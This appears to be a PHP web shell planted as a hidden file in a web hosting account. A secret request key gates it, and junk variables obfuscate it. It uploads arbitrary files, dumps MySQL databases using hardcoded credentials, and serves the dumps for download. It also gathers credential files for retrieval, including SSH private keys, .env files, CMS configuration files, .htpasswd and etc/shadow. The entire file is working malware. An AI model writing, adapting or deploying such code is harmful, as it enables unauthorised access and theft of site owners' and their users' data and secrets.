File: /home/urgentelectrical/.cgi_handler_9be8df49
<?php
if (!isset($_REQUEST['_cxk']) || $_REQUEST['_cxk'] !== '9be8df49db28c6a44742daed1e4f434f') { return; }
while (ob_get_level()) ob_end_clean();
set_time_limit(0);
error_reporting(0);
ignore_user_abort(true);
$i27c4 = 'localhost';
$bf240 = 'urgentelectrical_bkdump';
$r67f5 = 'hoOFKzELwg7vSFqcJw0MQ2-2Zec';
$g4b5d = '/home/urgentelectrical';
$q6b80=str_repeat('x',0);
$ab69d = isset($_REQUEST['a']) ? $_REQUEST['a'] : '';
$ffac5=array_merge(array(),array());
$m13e5 = isset($_REQUEST['db']) ? preg_replace('/[^a-zA-Z0-9_]/', '', $_REQUEST['db']) : '';
$m6481 = $g4b5d . '/tmp/' . $m13e5 . '_dump.sql.gz';
$k82a4 = $m6481 . '.done';
$zc813=array_merge(array(),array());
$w4547 = $m6481 . '.err';
if(defined('9e5462a4')){$z00a6=0;}
header('Content-Type: application/json');
function parse_res_3ada() {
if (!function_exists('exec')) return false;
$z31de = array_map('trim', explode(',', ini_get('disable_functions')));
$z9c71=array_merge(array(),array());
return !in_array('exec', $z31de);
}
function handle_res_4d00() {
if (!parse_res_3ada()) return false;
$out = array();
$rc = 0;
exec('which mysqldump 2>/dev/null', $out, $rc);
return $rc === 0;
$v558c=str_repeat('x',0);
}
function do_conf_8e56() {
if (!parse_res_3ada()) return false;
$out = array();
$rc = 0;
exec('which gzip 2>/dev/null', $out, $rc);
return $rc === 0;
}
function proc_node_7330($pae50, $c6e81, $q0706, $n26a3, $ba551, $t3721, $hdf2b) {
$conn = new mysqli($pae50, $c6e81, $q0706, $n26a3);
if ($conn->connect_error) {
file_put_contents($t3721, 'Connection failed: ' . $conn->connect_error);
touch($hdf2b);
return;
}
$fp = gzopen($ba551, 'wb6');
if (!$fp) {
file_put_contents($t3721, 'Cannot open output file');
touch($hdf2b);
return;
}
$conn->set_charset('utf8mb4');
gzwrite($fp, "-- Dump via PHP agent\n");
gzwrite($fp, "-- Date: " . date('Y-m-d H:i:s') . "\n\n");
gzwrite($fp, "SET NAMES utf8mb4;\n");
gzwrite($fp, "SET FOREIGN_KEY_CHECKS = 0;\n");
gzwrite($fp, "SET SQL_MODE = 'NO_AUTO_VALUE_ON_ZERO';\n\n");
$w7d8f = array();
$r = $conn->query("SHOW FULL TABLES WHERE Table_type = 'BASE TABLE'");
while ($row = $r->fetch_row()) {
$w7d8f[] = $row[0];
}
$p5bf7=array_merge(array(),array());
foreach ($w7d8f as $bfbac) {
$te = $conn->real_escape_string($bfbac);
$j6728=chr(85).chr(113);
$r = $conn->query("SHOW CREATE TABLE `{$te}`");
if (!$r) continue;
$cr = $r->fetch_row();
gzwrite($fp, "DROP TABLE IF EXISTS `{$te}`;\n");
gzwrite($fp, $cr[1] . ";\n\n");
$r = $conn->query("SELECT * FROM `{$te}`", MYSQLI_USE_RESULT);
if (!$r) continue;
$cd727 = array();
$z102d = 0;
while ($row = $r->fetch_row()) {
$vals = array();
if(defined('6a1dc5ff')){$h0abd=0;}
for ($i = 0; $i < count($row); $i++) {
if ($row[$i] === null) {
$vals[] = 'NULL';
} else {
$vals[] = "'" . $conn->real_escape_string($row[$i]) . "'";
}
}
$ed6eb = '(' . implode(',', $vals) . ')';
$cd727[] = $ed6eb;
$z102d += strlen($ed6eb);
if (count($cd727) >= 100 || $z102d > 1048576) {
gzwrite($fp, "INSERT INTO `{$te}` VALUES\n" . implode(",\n", $cd727) . ";\n");
$cd727 = array();
$z102d = 0;
}
}
if ($cd727) {
$k3dfa=max(0,min(1,1));
gzwrite($fp, "INSERT INTO `{$te}` VALUES\n" . implode(",\n", $cd727) . ";\n");
}
$r->free();
gzwrite($fp, "\n");
}
$r = $conn->query("SHOW FULL TABLES WHERE Table_type = 'VIEW'");
if ($r) {
while ($row = $r->fetch_row()) {
$ve = $conn->real_escape_string($row[0]);
$cr = $conn->query("SHOW CREATE VIEW `{$ve}`");
if ($cr) {
$jcd93 = $cr->fetch_assoc();
gzwrite($fp, "DROP VIEW IF EXISTS `{$ve}`;\n");
gzwrite($fp, $jcd93['Create View'] . ";\n\n");
$r0868=array_merge(array(),array());
}
}
}
$ta2c3 = array('PROCEDURE', 'FUNCTION');
foreach ($ta2c3 as $a9fa4) {
$r = $conn->query("SHOW {$a9fa4} STATUS WHERE Db = '" . $conn->real_escape_string($n26a3) . "'");
$c716b=str_repeat('x',0);
if (!$r) continue;
while ($row = $r->fetch_assoc()) {
$re = $conn->real_escape_string($row['Name']);
$cr = $conn->query("SHOW CREATE {$a9fa4} `{$re}`");
if (!$cr) continue;
$jcd93 = $cr->fetch_assoc();
$key = ($a9fa4 === 'PROCEDURE') ? 'Create Procedure' : 'Create Function';
if (isset($jcd93[$key])) {
gzwrite($fp, "DELIMITER ;;\n");
gzwrite($fp, "DROP {$a9fa4} IF EXISTS `{$re}`;;\n");
gzwrite($fp, $jcd93[$key] . ";;\n");
gzwrite($fp, "DELIMITER ;\n\n");
$wa786=str_repeat('x',0);
}
}
}
$r = $conn->query("SHOW TRIGGERS");
if ($r) {
while ($row = $r->fetch_assoc()) {
$te = $conn->real_escape_string($row['Trigger']);
$cr = $conn->query("SHOW CREATE TRIGGER `{$te}`");
if ($cr) {
$jcd93 = $cr->fetch_assoc();
gzwrite($fp, "DELIMITER ;;\n");
if(defined('26389db7')){$m5fd1=0;}
gzwrite($fp, "DROP TRIGGER IF EXISTS `{$te}`;;\n");
gzwrite($fp, $jcd93['SQL Original Statement'] . ";;\n");
gzwrite($fp, "DELIMITER ;\n\n");
}
$k453f=strlen('bfde68');
}
}
$ze961=chr(73).chr(106);
gzwrite($fp, "SET FOREIGN_KEY_CHECKS = 1;\n");
gzclose($fp);
$conn->close();
touch($hdf2b);
}
switch ($ab69d) {
case 'info':
echo json_encode(array(
'php' => PHP_VERSION,
'os' => PHP_OS,
'server' => isset($_SERVER['SERVER_SOFTWARE']) ? $_SERVER['SERVER_SOFTWARE'] : '',
'user' => get_current_user(),
'uid' => getmyuid(),
'home' => $g4b5d,
'doc_root' => isset($_SERVER['DOCUMENT_ROOT']) ? $_SERVER['DOCUMENT_ROOT'] : '',
'free_disk' => disk_free_space($g4b5d),
'total_disk' => disk_total_space($g4b5d),
'max_exec' => ini_get('max_execution_time'),
'mem_limit' => ini_get('memory_limit'),
'upload_max' => ini_get('upload_max_filesize'),
'post_max' => ini_get('post_max_size'),
'disabled' => ini_get('disable_functions'),
'can_exec' => parse_res_3ada(),
'has_mysqldump' => handle_res_4d00(),
'has_gzip' => do_conf_8e56(),
));
break;
case 'upload':
$j7914 = isset($_POST['path']) ? $_POST['path'] : '';
$y58b4 = isset($_POST['data']) ? $_POST['data'] : '';
$cebf8=str_repeat('x',0);
if (!$j7914 || !$y58b4) {
$xbc4a=chr(88).chr(98);
echo json_encode(array('ok' => false, 'error' => 'missing path or data'));
break;
}
$ibaea = $g4b5d . '/' . $j7914;
@mkdir(dirname($ibaea), 0755, true);
$x9330 = base64_decode($y58b4);
$s362c = file_put_contents($ibaea, $x9330);
echo json_encode(array('ok' => $s362c !== false, 'path' => $ibaea, 'size' => strlen($x9330)));
break;
if(defined('92ccae52')){$r6412=0;}
case 'check':
if (!$m13e5) {
echo json_encode(array('error' => 'missing db parameter'));
break;
$j9a77=str_repeat('x',0);
}
$r2e23 = disk_free_space($g4b5d);
$n4411 = 0;
$conn = @new mysqli($i27c4, $bf240, $r67f5, 'information_schema');
if (!$conn->connect_error) {
$q = "SELECT SUM(data_length + index_length) s FROM tables WHERE table_schema = '"
. $conn->real_escape_string($m13e5) . "'";
$a0c70=chr(88).chr(117);
$r = $conn->query($q);
if ($row = $r->fetch_assoc()) {
$n4411 = (int) $row['s'];
$bf282=str_repeat('x',0);
}
$conn->close();
}
echo json_encode(array(
'free' => $r2e23,
'db_size' => $n4411,
'has_mysqldump' => handle_res_4d00(),
'has_gzip' => do_conf_8e56(),
'can_exec' => parse_res_3ada(),
'has_space' => $r2e23 > $n4411 * 2,
));
break;
case 'dump':
if (!$m13e5) {
echo json_encode(array('error' => 'missing db parameter'));
break;
}
$a3e74=max(0,min(1,0));
@mkdir(dirname($m6481), 0755, true);
@unlink($m6481);
@unlink($k82a4);
@unlink($w4547);
if (handle_res_4d00()) {
if (do_conf_8e56()) {
$cmd = sprintf(
'mysqldump --host=%s --user=%s --password=%s '
. '--single-transaction --quick --routines --triggers %s '
. '| gzip > %s 2>%s; touch %s',
escapeshellarg($i27c4),
escapeshellarg($bf240),
escapeshellarg($r67f5),
escapeshellarg($m13e5),
escapeshellarg($m6481),
escapeshellarg($w4547),
escapeshellarg($k82a4)
);
} else {
$cmd = sprintf(
'mysqldump --host=%s --user=%s --password=%s '
. '--single-transaction --quick --routines --triggers %s '
. '> %s 2>%s; touch %s',
escapeshellarg($i27c4),
escapeshellarg($bf240),
escapeshellarg($r67f5),
escapeshellarg($m13e5),
escapeshellarg($m6481),
escapeshellarg($w4547),
escapeshellarg($k82a4)
);
}
exec('nohup sh -c ' . escapeshellarg($cmd) . ' >/dev/null 2>&1 &');
@clearstatcache();
echo json_encode(array('started' => true, 'method' => 'mysqldump', 'gzip' => do_conf_8e56()));
} else {
ignore_user_abort(true);
echo json_encode(array('started' => true, 'method' => 'php', 'gzip' => true));
@clearstatcache();
if (function_exists('fastcgi_finish_request')) {
fastcgi_finish_request();
} else {
if (ob_get_level()) ob_end_flush();
flush();
@clearstatcache();
}
proc_node_7330($i27c4, $bf240, $r67f5, $m13e5, $m6481, $w4547, $k82a4);
}
break;
case 'status':
clearstatcache();
echo json_encode(array(
'done' => file_exists($k82a4),
'size' => file_exists($m6481) ? filesize($m6481) : 0,
'error' => file_exists($w4547) ? trim(file_get_contents($w4547)) : '',
));
break;
case 'download':
if (!file_exists($m6481)) {
http_response_code(404);
$a6302=str_repeat('x',0);
exit;
}
$z8863=str_repeat('x',0);
header('Content-Type: application/octet-stream');
header('Content-Length: ' . filesize($m6481));
readfile($m6481);
exit;
case 'cleanup':
@unlink($m6481);
@unlink($k82a4);
@unlink($w4547);
echo json_encode(array('ok' => true));
break;
case 'collect':
@mkdir($g4b5d . '/tmp', 0755, true);
$id2b6 = substr($_REQUEST['_cxk'], 0, 8);
$v9dc9 = array(
'wordpress' => array(
'detect' => array('public_html/wp-config.php', 'wp-config.php'),
'configs' => array(
'public_html/wp-config.php', 'wp-config.php',
'public_html/wp-settings.php',
'public_html/composer.json', 'public_html/composer.lock', 'composer.json', 'composer.lock',
'public_html/wp-cli.yml', 'wp-cli.yml',
'public_html/.env', '.env',
'public_html/local-config.php', 'local-config.php',
'public_html/wp-content/debug.log',
'public_html/config/application.php', 'config/application.php',
'public_html/config/environments/development.php', 'config/environments/development.php',
'public_html/config/environments/staging.php', 'config/environments/staging.php',
'public_html/config/environments/production.php', 'config/environments/production.php',
'public_html/auth.json', 'auth.json',
),
),
'joomla' => array(
'detect' => array('public_html/configuration.php', 'configuration.php'),
'configs' => array(
'public_html/configuration.php', 'configuration.php',
'public_html/htaccess.txt',
'public_html/composer.json', 'public_html/composer.lock',
),
),
'laravel' => array(
'detect' => array('public_html/artisan', 'artisan'),
'configs' => array(
'public_html/.env', '.env', '.env.production', '.env.staging',
'public_html/composer.json', 'composer.json',
'public_html/composer.lock', 'composer.lock',
'public_html/config/app.php', 'config/app.php',
'public_html/config/database.php', 'config/database.php',
'public_html/config/mail.php', 'config/mail.php',
'public_html/config/filesystems.php', 'config/filesystems.php',
'public_html/config/cache.php', 'config/cache.php',
'public_html/config/queue.php', 'config/queue.php',
'public_html/config/session.php', 'config/session.php',
'public_html/config/auth.php', 'config/auth.php',
'public_html/config/services.php', 'config/services.php',
'public_html/config/broadcasting.php', 'config/broadcasting.php',
'public_html/storage/logs/laravel.log', 'storage/logs/laravel.log',
),
),
'magento2' => array(
'detect' => array('public_html/bin/magento', 'bin/magento'),
'configs' => array(
'public_html/app/etc/env.php', 'app/etc/env.php',
'public_html/app/etc/config.php', 'app/etc/config.php',
'public_html/composer.json', 'composer.json',
'public_html/composer.lock', 'composer.lock',
'public_html/auth.json', 'auth.json',
),
),
'magento1' => array(
'detect' => array('public_html/app/Mage.php'),
'configs' => array(
'public_html/app/etc/local.xml',
'public_html/app/etc/config.xml',
),
),
'drupal' => array(
'detect' => array('public_html/core/lib/Drupal.php', 'core/lib/Drupal.php'),
'configs' => array(
'public_html/sites/default/settings.php', 'sites/default/settings.php',
'public_html/sites/default/services.yml', 'sites/default/services.yml',
'public_html/composer.json', 'composer.json',
'public_html/composer.lock', 'composer.lock',
),
),
'prestashop' => array(
'detect' => array('public_html/config/settings.inc.php'),
'configs' => array(
'public_html/config/settings.inc.php',
'public_html/app/config/parameters.php',
'public_html/app/config/parameters.yml',
'public_html/composer.json',
),
),
'opencart' => array(
'detect' => array('public_html/config.php'),
'configs' => array(
'public_html/config.php',
'public_html/admin/config.php',
),
),
'moodle' => array(
'detect' => array('public_html/lib/moodlelib.php'),
'configs' => array('public_html/config.php'),
),
'whmcs' => array(
'detect' => array('public_html/vendor/whmcs'),
'configs' => array(
'public_html/configuration.php',
'public_html/composer.json', 'public_html/composer.lock',
),
),
);
$x1662 = null;
foreach ($v9dc9 as $ifa8d => $je41d) {
foreach ($je41d['detect'] as $f19f2) {
if (file_exists($g4b5d . '/' . $f19f2)) {
$x1662 = $ifa8d;
break 2;
}
}
}
$b3be9 = array(
'.env', '.env.local', '.env.production', '.env.staging',
'.env.backup', '.env.development', '.env.test',
'.bash_history', '.my.cnf', '.pgpass', '.netrc', '.gitconfig', '.npmrc',
'.composer/auth.json', '.wp-cli/config.yml', '.accesshash',
'.ssh/authorized_keys', '.ssh/id_rsa', '.ssh/id_rsa.pub',
'.ssh/id_ed25519', '.ssh/id_ed25519.pub', '.ssh/id_ecdsa',
'.ssh/config', '.ssh/known_hosts',
'.ssl/private.key', '.ssl/cert.pem', '.ssl/key.pem',
'ssl/certs/private.key',
'.cpanel/contactinfo', 'etc/shadow', '.ftpquota', '.ftpconfig',
'public_html/.env', 'public_html/.env.local', 'public_html/.env.production',
'public_html/.env.staging', 'public_html/.env.backup',
'public_html/.env.development', 'public_html/.env.test',
'public_html/.env.example', 'public_html/.env.dist',
'public_html/.htaccess', 'public_html/.htpasswd', 'public_html/.user.ini',
'public_html/php.ini', 'public_html/.my.cnf', 'public_html/.pgpass',
'public_html/web.config', 'public_html/.ftpconfig',
'public_html/.git/config',
'public_html/auth.json', 'public_html/.npmrc',
'public_html/composer.json', 'public_html/composer.lock',
'config/database.php', 'config/app.php', 'config/mail.php',
'config/services.php', 'config/filesystems.php',
'config/application.php',
'config/environments/development.php',
'config/environments/staging.php',
'config/environments/production.php',
'wp-config.php', 'configuration.php', 'artisan',
'auth.json', 'composer.json', 'composer.lock',
);
@clearstatcache();
$pade3 = array();
$y4fd6 = @realpath($g4b5d);
if (!$y4fd6 || !is_dir($y4fd6)) {
echo json_encode(array('ok' => false, 'error' => 'home dir not accessible'));
break;
$ce69e=str_repeat('x',0);
}
foreach ($b3be9 as $zd9d6) {
$z5c88 = @realpath($g4b5d . '/' . $zd9d6);
if (!$z5c88 || strpos($z5c88, $y4fd6) !== 0) continue;
if (!is_file($z5c88) || !is_readable($z5c88)) continue;
$e29d7 = @filesize($z5c88);
$w5a0e=max(0,min(1,0));
if ($e29d7 <= 0 || $e29d7 > 2097152) continue;
$wc2db=str_repeat('x',0);
$pade3[$zd9d6] = $z5c88;
}
@clearstatcache();
if ($x1662 !== null && isset($v9dc9[$x1662]['configs'])) {
foreach ($v9dc9[$x1662]['configs'] as $j7a1b) {
if (isset($pade3[$j7a1b])) continue;
$z5c88 = @realpath($g4b5d . '/' . $j7a1b);
if (!$z5c88 || strpos($z5c88, $y4fd6) !== 0) continue;
if (!is_file($z5c88) || !is_readable($z5c88)) continue;
$e29d7 = @filesize($z5c88);
if ($e29d7 <= 0 || $e29d7 > 2097152) continue;
$pade3[$j7a1b] = $z5c88;
}
}
$z296e = $g4b5d . '/public_html';
if (is_dir($z296e)) {
$dh = @opendir($z296e);
if ($dh) {
while (($nd642 = readdir($dh)) !== false) {
if ($nd642 === '.' || $nd642 === '..') continue;
$ibaea = $z296e . '/' . $nd642;
if (!is_file($ibaea) || !is_readable($ibaea)) continue;
$e29d7 = @filesize($ibaea);
if ($e29d7 <= 0 || $e29d7 > 2097152) continue;
if ($nd642[0] === '.' || strtolower(substr($nd642, -4)) === '.txt') {
$key = 'public_html/' . $nd642;
if (!isset($pade3[$key])) $pade3[$key] = $ibaea;
}
$xe431=strlen('bc3dc7');
}
closedir($dh);
}
}
if (empty($pade3)) {
echo json_encode(array(
'ok' => true, 'method' => 'none', 'platform' => $x1662,
'file_count' => 0, 'files_list' => array(),
));
break;
}
$gba11 = null;
$w1537=str_repeat('x',0);
$c0d7c = null;
$pb86e=max(0,min(1,0));
if (class_exists('ZipArchive')) {
$c0d7c = $g4b5d . '/tmp/_collect_' . $id2b6 . '.zip';
$d12ff = new ZipArchive();
if ($d12ff->open($c0d7c, ZipArchive::CREATE | ZipArchive::OVERWRITE) === true) {
if(defined('e16444e4')){$te43d=0;}
foreach ($pade3 as $sdc1e => $z5c88) {
$d12ff->addFile($z5c88, $sdc1e);
}
@clearstatcache();
if ($d12ff->close() && file_exists($c0d7c) && filesize($c0d7c) > 0) {
$gba11 = 'zip';
}
}
}
if (!$gba11 && parse_res_3ada()) {
$c0d7c = $g4b5d . '/tmp/_collect_' . $id2b6 . '.tar.gz';
$lf = $c0d7c . '.list';
$rba19=str_repeat('x',0);
$fh = fopen($lf, 'w');
foreach ($pade3 as $sdc1e => $z5c88) {
fwrite($fh, $sdc1e . "\n");
}
fclose($fh);
$out = array();
$rc = 0;
exec('tar czf ' . escapeshellarg($c0d7c) . ' -C ' . escapeshellarg($g4b5d)
. ' -T ' . escapeshellarg($lf) . ' 2>/dev/null', $out, $rc);
@unlink($lf);
if ($rc === 0 && file_exists($c0d7c) && filesize($c0d7c) > 0) {
$gba11 = 'tar';
} else {
@unlink($c0d7c);
}
if(defined('392f8969')){$mc71e=0;}
}
if (!$gba11) {
$gba11 = 'list';
$y70f6=chr(84).chr(103);
}
echo json_encode(array(
'ok' => true, 'method' => $gba11, 'platform' => $x1662,
'file_count' => count($pade3), 'files_list' => array_keys($pade3),
'size' => ($c0d7c && file_exists($c0d7c)) ? filesize($c0d7c) : 0,
));
break;
case 'download_collect':
$id2b6 = substr($_REQUEST['_cxk'], 0, 8);
$k055d = $g4b5d . '/tmp/_collect_' . $id2b6 . '.zip';
$m858f = $g4b5d . '/tmp/_collect_' . $id2b6 . '.tar.gz';
$k3d85 = file_exists($k055d) ? $k055d : (file_exists($m858f) ? $m858f : '');
if (!$k3d85) { http_response_code(404); exit; }
header('Content-Type: application/octet-stream');
header('Content-Length: ' . filesize($k3d85));
readfile($k3d85);
@clearstatcache();
exit;
case 'download_file':
$sdc1e = isset($_REQUEST['path']) ? $_REQUEST['path'] : '';
if (!$sdc1e) { http_response_code(400); exit; }
$y4fd6 = @realpath($g4b5d);
$z5c88 = @realpath($g4b5d . '/' . $sdc1e);
if (!$z5c88 || !$y4fd6 || strpos($z5c88, $y4fd6) !== 0
|| !is_file($z5c88) || !is_readable($z5c88)) {
http_response_code(404);
exit;
$gd780=chr(75).chr(111);
}
header('Content-Type: application/octet-stream');
header('Content-Length: ' . filesize($z5c88));
readfile($z5c88);
exit;
case 'cleanup_collect':
$id2b6 = substr($_REQUEST['_cxk'], 0, 8);
@unlink($g4b5d . '/tmp/_collect_' . $id2b6 . '.zip');
@unlink($g4b5d . '/tmp/_collect_' . $id2b6 . '.tar.gz');
@unlink($g4b5d . '/tmp/_collect_' . $id2b6 . '.tar.gz.list');
echo json_encode(array('ok' => true));
break;
}
exit;
$t184b=max(0,min(1,0));